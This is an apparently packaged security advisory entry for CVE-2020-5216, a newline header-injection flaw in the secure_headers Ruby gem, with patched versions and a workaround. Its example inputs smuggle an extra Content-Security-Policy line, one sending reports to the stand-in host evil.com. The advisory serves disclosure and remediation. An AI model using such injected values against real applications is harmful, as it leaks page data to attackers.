Sha256: b8c9dff6cc877f9af76e2c0d1b3b5b36bf4fd87b044dd83b677da39cba65b788

Contents?: true

Size: 1.5 KB

Versions: 1

Compression:

Stored size: 1.5 KB

Contents

---
gem: secure_headers
cve: 2020-5216
ghsa: w978-rmpf-qmwg
url: https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
date: 2020-01-23
title: secure_headers header injection due to newline
description: |-
  If user-supplied input was passed into append/override_content_security_policy_directives,
  a newline could be injected leading to limited header injection.

  Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
  header with the remaining value of the original string. It will continue to create new headers
  for each newline.

  e.g.

  ```
  override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])
  ```

  would result in

  ```
  Content-Security-Policy: ... script-src: mycdn.com
  Content-Security-Policy: injected
  Content-Security-Policy: rest-of-the-header
  ```

  CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

  ```
  override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
  ```

  ```
  Content-Security-Policy: ... script-src: mycdn.com
  Content-Security-Policy: default-src 'none'; report-uri evil.com
  Content-Security-Policy: rest-of-the-header
  ```

  Workarounds
  ```
  override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
  ```

cvss_v3: 4.4

patched_versions:
  - "~> 3.9"
  - "~> 5.2"
  - ">= 6.3.0"

Version data entries

1 entries across 1 versions & 1 rubygems

Version Path
bundler-audit-0.7.0.1 data/ruby-advisory-db/gems/secure_headers/CVE-2020-5216.yml